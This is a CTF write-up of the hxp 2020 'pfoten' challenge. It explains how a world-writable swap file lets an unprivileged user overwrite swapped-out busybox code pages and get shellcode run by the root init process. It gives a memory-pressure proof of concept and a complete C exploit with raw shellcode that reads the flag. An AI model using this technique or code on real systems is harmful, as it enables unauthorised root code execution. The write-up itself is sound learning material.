hxp CTF 2020 pfoten
0x00 Overview
Last weekend I have played hxp 2020 as r3kapig. The challenges are very good. I have solved 3 challenges: Secure Program Config
, still-printf
and pfoten
. Among these challenges, I think pfoten
is quite worthy to do a full write-up. The challenge creates a file as swap space, so that some of the memory will be putted into this file when physical memory is not enough and will be then fetched from this file when being used again. The problem is this file is writable by any user. Therefore, when privileged memory like code of a root process is putted into this swap space, we can actually tamper it to our shellcode, so when it is executed again, we can execute arbitrary code in root privilege.
0x01 Vulnerability
Reading rcS
file, we can see following code, which is related to the challenge.
dd if=/dev/zero bs=1M count=10 of=/swap status=none
# create a 10M file /swap with content zeros
losetup /dev/loop0 /swap
# https://linux.die.net/man/8/losetup
# set /swap as loop device /dev/loop0
# in order to use /swap as swap space
mkswap /dev/loop0 >/dev/null
swapon /dev/loop0 >/dev/null
# https://man7.org/linux/man-pages/man8/mkswap.8.html
# set /dev/loop0 as *swap space*
# so file /swap is *swap space* now
However, file /swap
is writable by any user.
-rw-rw-rw- 1 0 0 10485760 Dec 21 08:10 swap
0x02 Proof of Concept
In order to prove my idea, I have written following PoC to see what will be putted into /swap
file.
#include <stdio.h>
#include <memory.h>
#include <stdlib.h>
#include <sys/mman.h>
int main(int argc, char const *argv[])
{
for (int i = 0; ; ++i)
{
char* buffer = mmap(NULL, 1024*1024, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
memset(buffer, 'A', 1024*1024);
printf("%d\n", i);
system("strings /swap");
}
return 0;
}
After a few iterations, we can see many interesting outputs from strings
command, and some of the strings come from the busybox
binary, so my idea is confirmed: /swap
will indeed be used to store virtual memory content at disk.
0x03 Exploitation
I have come up with several exploitation ideas:
- Store kernel heap memory into
/swap
, and rewritecred
structure to escalate privilege of our process. - Store kernel code into
/swap
, and modify these code to privilege escalating shellcode, and call these code in our process. (e.g. someioctl
handler in kernel) - Store code of
init
process (which is a root process) into/swap
, and rewrite them to shellcode.
However, the data to be stored into /swap
have to meet some requirements:
- It cannot be used when our exploit is running, because Linux only stores infrequently used memory into disk.
- It can be used after the content is tampered, otherwise modifying it cannot cause any effect.
Intuitively, kernel heap should be quite frequently-used, so I would guess that first idea might not work properly. I have not tried the second idea but the third one.
I have already seen busybox
strings in PoC outputs, and that means we can already dump process memory of this ELF executable file into /swap
. Note that all utilities like /init
in this kernel image is linking to the /bin/busybox
, and we also know that Linux will share read-only memory pages to same physical memory among all processes of same ELF file in order to save physical memory (e.i. r-x
page of sh
and init
are shared). Thus, we can conclude we already have the ability to modify r-x
page contents in init
process. Therefore, I tried the third idea first and solved the challenge.
Then next question is what to write. The idea is to search binary sequences using memmem
in /swap
, and replace that sequences to our shellcode. Such sequences can be found by putting busybox
binary into IDA.
Firstly, since init
run commands in inittab
and it should wait until sh
exits, I may search and modify code around https://github.com/mirror/busybox/blob/master/init/init.c#L594 to modify the code that will be executed after sh
exits. However, I failed to find such code in /swap
. I guess maybe that page is used frequently when our exploit runs(?). Then I found a function where busybox
call SYS_exit
, with sequences 48 63 FF B8 E7 00 00 00 0F 05 BA 3C 00 00 00
. I then modified the contents into 0x100
bytes of \xcc
. This time kernel panic raises with message saying Code: cc cc cc ...
.
[ 64.302748] RIP: 0033:0x4d12a7
[ 64.303098] Code: cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc <cc>c
[ 64.303680] RSP: 002b:00007ffe2c26b998 EFLAGS: 00000246
Nice! That means our shellcode is executed by init
process! However, I admit this is quite accidental, because according to rip
value shown in error message, it is the function after the SYS_exit
function that is executed by init
instead of the exit function in my original thought. After some trying, I found the first instruction being executed is 0x4d12a6
, which suggests init
is just returning from a syscall
at 0x4d12a4
before executing the tampered code. Nonetheless, we can actually execute code in init
process! Firstly I tried execve("/bin/sh", NULL, NULL)
, but that also causes panic in sh
. I guess the reason is /bin/sh
also links to /bin/busybox
, which is already tampered by us. Thus secondly I tried to write shellcode that open and read /dev/fd0
(e.i. flag.txt
), and write its content to stdout
. This time it works locally! Although we may need to run it several times to find the binary sequences, probably because there is some probability for Linux to store that code into /swap
.
544
found!!!
... hxp{test}
0x04 Remote Environment
However, the exploit does not work properly remotely: it encounters EOF
at around 400+ iterations. Initially I thought it is because when process is out-of-memory, whole kernel is killed instead of that one process, unlike local environment. But even if I munmap
the pages, it still encounters EOF
at around same number of iterations. And even if I decreases the size of mmap
, it still encounters EOF
at same iteration. This is weird. Finally I tried to increase the size of mmap
to 0x100000
, and this time I got the flag at last 2 minutes of the CTF.
Nonetheless, I still have no idea why such EOF
occurs.
The final exploit is shown below:
#define _GNU_SOURCE
#include <stdio.h>
#include <memory.h>
#include <stdlib.h>
#include <assert.h>
#include <string.h>
#include <stdbool.h>
#include <sys/mman.h>
#define SWAP_SIZE 0xa00000
// #define NEEDLE "\xE8\xD9\xFE\xFF\xFF\xF6\x43\x0C\x63"
// #define NEEDLE "\x48\xC7\x05\xBD\x00\x30\x00\x43"
const unsigned char NEEDLE[] = {0x48,0x63,0xFF,0xB8,0xE7,0x00,0x00,0x00,0x0F,0x05,0xBA,0x3C,0x00,0x00,0x00};
unsigned char swap[SWAP_SIZE];
void read_all(FILE* f)
{
size_t already = 0;
while (true)
{
size_t res = fread(swap + already, 1, SWAP_SIZE - already, f);
// printf("res=%lu\n", res);
if (res == 0)
{
assert(already == SWAP_SIZE);
return;
}
already += res;
}
}
#define BUFFERS_SIZE 0x80
#define PAGE_SIZE 0x100000
char* buffers[BUFFERS_SIZE] = {0};
int main(int argc, char const *argv[])
{
size_t count = 0;
for (int i = 0; i < 0x1000; ++i)
{
char* buffer = mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (count < BUFFERS_SIZE)
{ // record into array
buffers[count++] = buffer;
}
else
{ // if full, clear array
printf("clear\n");
for (int j = 0; j < BUFFERS_SIZE; ++j)
{
munmap(buffers[j], PAGE_SIZE);
}
count = 0;
}
memset(buffer, 0, PAGE_SIZE);
if (i % 100 == 0)
printf("%d\n", i);
if (buffer == 0)
return 0;
FILE* f = fopen("/swap", "rb+");
assert(f != NULL);
read_all(f);
unsigned char* res = memmem(swap, SWAP_SIZE, NEEDLE, sizeof(NEEDLE));
if (res)
{
size_t off = res - swap;
fseek(f, off, SEEK_SET);
// char sc[] = "H\xb8/bin/sh\x00PH\x89\xe7H1\xf6H1\xd2j;X\x0f\x05";
// unsigned char sc[] = "j\x01\xfe\x0c$H\xb8/dev/fd0PH\x89\xe71\xd21\xf6j\x02X\x0f\x05H\x81\xec\x00\x01\x00\x00H\x89\xc71\xc01\xd2\xb6\x01H\x89\xe6\x0f\x05j\x01_1\xd2\xb6\x01H\x89\xe6j\x01X\x0f\x05";
unsigned char sc[] = {0x6a, 0x1, 0xfe, 0xc, 0x24, 0x48, 0xb8, 0x2f, 0x64, 0x65, 0x76, 0x2f, 0x66, 0x64, 0x30, 0x50, 0x48, 0x89, 0xe7, 0x31, 0xd2, 0x31, 0xf6, 0x6a, 0x2, 0x58, 0xf, 0x5, 0x48, 0x81, 0xec, 0x0, 0x1, 0x0, 0x0, 0x48, 0x89, 0xc7, 0x31, 0xc0, 0x31, 0xd2, 0xb6, 0x1, 0x48, 0x89, 0xe6, 0xf, 0x5, 0x6a, 0x1, 0x5f, 0x31, 0xd2, 0xb6, 0x1, 0x48, 0x89, 0xe6, 0x6a, 0x1, 0x58, 0xf, 0x5};
char buf[0x100];
memset(buf, 0xcc, sizeof(buf));
size_t sc_off = 0xa7 - 0x77;
buf[sc_off - 1] = 0x90;
for (size_t i = 0; i < sizeof(sc); ++i)
{
buf[sc_off + i] = sc[i];
assert(sc_off + i < 0x100);
}
size_t res = fwrite(buf, 1, sizeof(buf), f);
assert(res == sizeof(buf));
printf("found!!!\n");
return 0;
}
fclose(f);
}
return 0;
}